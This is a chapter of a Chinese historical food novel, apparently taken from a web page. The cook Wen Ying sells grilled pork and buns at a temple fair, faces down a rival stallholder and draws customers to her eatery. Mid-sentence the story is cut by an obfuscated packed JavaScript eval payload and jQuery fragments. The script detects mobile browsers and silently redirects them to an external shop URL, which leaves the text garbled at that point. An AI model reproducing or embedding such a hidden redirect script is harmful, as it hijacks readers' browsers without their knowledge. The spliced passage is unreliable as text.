那汉子话音一落,周围几个正啃着肉串的食客纷纷往后挪了半步,面面相觑。有人小声嘀咕:“是那边黄家食肆的人。”
那汉子走到摊前,低头看了一眼鏊子上的肉片,又扫了一眼插在桌前的竹签肉串,脸上的横肉一绷,嗤笑一声:“我当是什么了不得的做法,原来是腌肉片煎一煎。这种玩意儿,也配跟惠明法师的炙猪肉比?”
那个年轻郎君脸上挂不住,嘟囔道:“我就吃着好吃,说说怎么了……”
“八文钱一串?怪不得引得这么多人来买。”那人没理会年轻郎君的话,目光径直扫向桌前的价格牌,语气怎么听都带着点酸溜溜的意味。
“也不知道你是从哪里买的便宜肉,别是死猪肉吧?可别只顾着赚钱,给人吃出毛病来!”
这话一出,原本围在一旁的食客有不少皱起了眉头,还有人看着手中的竹签,面露迟疑。
闻映不慌不忙,将鏊子上的肉片翻了个面,抬起头,笑着说:“这位……客人还是同行?我这肉用的是猪脊肉,昨日一早去肉市挑的鲜肉,又在井中湃着腌制了一晚。开封府的肉市均有据可查,您若是不信,可以随我去肉市对质。”
她顿了顿,又说:“我卖八文,是因为除了做肉的成本外,我只租了这小小一个摊位,成本不高,卖得自然不贵。听您的意思,您也卖这炙肉?还不便宜?不知您又为何卖得比寻常贵?”
不等那人回应,闻映便似笑非笑地看着他,继续开口:“您若是觉得我抢了您的生意,不如把价格也降一降?”
“价格一样了,咱们就各凭手艺,各凭本事,客人爱去哪家去哪家,您说呢?”
那汉子被噎了一下,脸色涨红,正要再说什么,忽然身后传来一个声音:
“说得好!各凭手艺,各凭本事!”
那汉子恼怒,心想是谁敢在此时看他的笑话,猛地回头。
只见一个穿着青布长衫的中年男子从人群中走出来,约莫四十出头,单手背在身后,笑眯眯地看着他。
“哟,我道是谁在这儿撒气呢,原来是黄胖子。怎么,自家摊子生意不好?有空跑人家摊子上找茬来?”
“玉、玉掌柜?”那汉子,即黄胖子脸上的横肉一抖,语气明显矮了几分。
玉掌柜慢悠悠地走到闻映摊前,低头看了一眼鏊子上正滋滋冒油的肉片,又瞧了一眼笼屉里白胖的小笼包,点了点头。
他转头看向黄胖子,不紧不慢地开口:“人家小娘子在这儿摆摊,既正经交了席地钱,吃食看上去也正经不错。你作为同样开食肆的老前辈,带着两个伙计来砸场子,空口白牙就说人家的肉有问题,传出去也不怕人笑话?”
黄胖子脸色一阵红一阵白,嘴唇动了动,到底没敢还嘴。这玉掌柜是玉珍楼的东家,玉珍楼可是汴京七十二家正店之一,更别说他还是玉家的人。玉家坐拥数十条漕运商船,财大气粗,岂是他一个开小食肆的能惹得起的?
“我就是……就是替惠明法师说句话。”为了给自己挣回几分面子,他嘟囔了一句,声音越来越小。
玉掌柜哈哈一笑:“替惠明说话?惠明要是知道你在外面拿他的名头欺负一个小娘子,怕是第一个饶不了你。”
他挥了挥手:“行了,该干嘛干嘛去,别在这儿丢人现眼了。”
黄胖子咬了咬牙,终究没敢再多说,灰溜溜地带着两个伙计走了。
围观的食客见没有热闹看了,有的散去了,有的反倒被方才的事勾起了好奇心,凑近过来想尝个究竟。
玉掌柜转身看向闻映,笑呵呵地说:“闻娘子,是吧?别往心里去。那黄胖子是东街卖炙肉的,手艺么,倒也过得去,就是脾气不小。”
他看这小娘子带着年幼的妹妹在外摆摊,想必不容易,便多说了两句:“我玉珍楼常年在大相国寺设了摊位,就在不远处,如此我们也算半个邻居。若是他再来找你的麻烦,你让人来玉珍楼知会一声就行。”
说着,他回身一指,闻映顺着看去,只见玉珍楼的摊位几乎正对着烧猪院的大门,说是摊位,看着都比她们闻家的食肆还要大了,门口还搭了两层高的彩楼,瞧着就极为富贵。
闻映收回目光,连忙躬身道谢:“多谢玉掌柜解围。您要不嫌弃,尝尝我做的煎肉和包子?”
玉掌柜也没客气,接过闻映递来的一串肉,送入口中嚼了嚼,眼睛微微一亮,细细品味后点了点头:“嗯,不错,这肉腌得好,比寻常的煎肉多了一分甘甜,不但不腻,反而与焦香融合得恰到好处,火候也正好。小娘子,你这手艺还真不比惠明差多少。”
他意犹未尽地放下竹签,又从袖中摸出一块碎银子,放在桌上:“再给我每样来一笼包子,我带回去尝尝。”
起初,他不过是看不惯黄胖子的行径,顺手替这小娘子解个围罢了,原本也没对这过于年轻的小娘子的手艺抱什么期待,但肉一入口,他就知道这闻娘子是有几分真本事在身上的。
他的目光转向一旁还在冒着热气的小笼包,心下不由多了几分期待:不知这小笼包,比之王楼山洞梅花包子又如何?
闻映不知他心中所想,只顾着摆手:“玉掌柜,您刚才帮我解了围,这包子我请您吃,哪能收钱?”
玉掌柜却把银子往前一推,笑道:“一码归一码。你一个小娘子出来讨生活不容易,该收的钱就得收。”
闻映见他态度坚决,只好收下银子。不过包小笼包时,她每样给对方多包了一笼。
并坚持道:“不多,只是我感谢您的一点儿心意。”
玉掌柜笑了笑,没再推辞,接过油纸包,慢悠悠地回去了。
方才被那人高马大的黄胖子吓到,一直紧紧攥着姐姐的裙子的晴姐儿这才凑过来,小声说:“姐姐,这位玉掌柜人真好。”
闻映点了点头,这位玉掌柜有侠义之心,今日之事多亏了他。
玉掌柜走后,闻映摊子前的人就没有断过,她手下不停,一边煎肉,一边包包子,忙得不可开交。
晴姐儿还记得姐姐说过,她们这几日来摆摊,为的就是让大家都喜欢上她们食肆的吃食,日后好到店里去吃饭。
见这会儿姐姐忙得连话都快顾不上说了,晴姐儿便一边接过新客人递来的钱,一边主动和站在摊子旁吃肉串的老客人搭话:“您吃着味道好吗?”
客人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734392|206983||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
见她小小一个,玉雪可爱的模样,便笑着点头,想看看这小丫头还能说出什么来。
晴姐儿学着姐姐先前的样子,脆生生地开口:“好吃的话您下次可以来我们食肆吃,我们食肆名叫‘闻香来’,就在开封府府前街中间,您拐到街口,一抬头就能看见我们的望子了。”
那人见晴姐儿一本正经,便想逗逗她:“有点儿远啊,你们不能日日来大相国寺吗?”
晴姐儿俏皮地摇了摇头:“食肆能吃到的菜更多呀!我们店里还有现做的油条、小酥肉、胡辣汤、炝锅面……”
那人本来只是逗着晴姐儿说话,却不由自主被晴姐儿一溜儿的报菜名给勾住了馋虫……
他方才也没瞎说,他家就在大相国寺附近,距离开封府衙门确实不近。可是听这小女娃的意思,她们食肆里还有许多这小摊上没有的吃食!那什么小酥肉、胡辣汤……光听名字他就觉得好吃。
和他同样想法的还有听见了他和晴姐儿对话的几人,他们不约而同地抬头看了看那横幅,心中暗暗记下:府前街是吧?看来得凑个空去一趟了。
见晴姐儿应对得比她想象的还要好,闻映笑了笑,便专心埋头干活。姐妹俩齐心,过了晌午后不久,就把今日带来的煎肉和小笼包全部卖完了。
正好这会儿人流也少了,闻映便利索地收好东西,带着晴姐儿去香饮摊买了两盏清甜的麦门冬熟水,好好润了润说了大半天话、早已干渴得不行的嗓子。
随后,姐妹俩痛痛快快地在大相国寺逛了一个时辰,才兴致满满地回了家。
第二日,没再遇见捣乱的人,反而有昨日的老客来回购,闻映顺顺当当地卖完了所有吃食。回家后,还听白雪说今日就有客人找到店里来了。她顿时松了口气,这法子有用就行!
到了最后一日,闻映又试了试新做法。
她额外备了些包角子用的面团,把皮擀得大大的,分别包了菘菜肉与素三鲜两种口味的大角子。先在笼屉里蒸半刻钟,取出晾干后再在鏊子上煎至三面金黄。
如此,酥脆诱人的大煎角便热腾腾地出锅了。
不同于小笼包的柔软,煎角外皮酥脆,咬下去“咔嚓”一声,内里裹着的馅料汁水丰盈,咸香四溢。甚至吃得急了,刚煎好的角子还会烫到嘴巴里的软肉。可即便如此,客人也一个个“嘶哈嘶哈”着不舍得松嘴,贪这一口鲜香十足的热乎劲儿。
一个客人左手举着香煎大肉片,右手拿着素三鲜大煎角,被烫得含含糊糊地夸道:“闻娘子,你做的吃食一个比一个大,吃着实在太过瘾了!”
“对对对!”另一个食客也跟着附和:“真不知道闻娘子你是怎么做的,我第一次知道,猪肉还能这么好吃?”
“这还不算最好吃的呢。”闻映笑着同他们闲话:“要说最好吃,还得是红烧肉,只可惜……现在没法做。”
这话一出,食客们顿时都急了,七嘴八舌地嚷起来:
“为何没法做?!”
人群中,一个浑厚的声音喊得最响。
闻映循声望去,只见一个身材圆润、穿着干净僧袍的老和尚,正挤在人群里,一脸急切地等着她回答。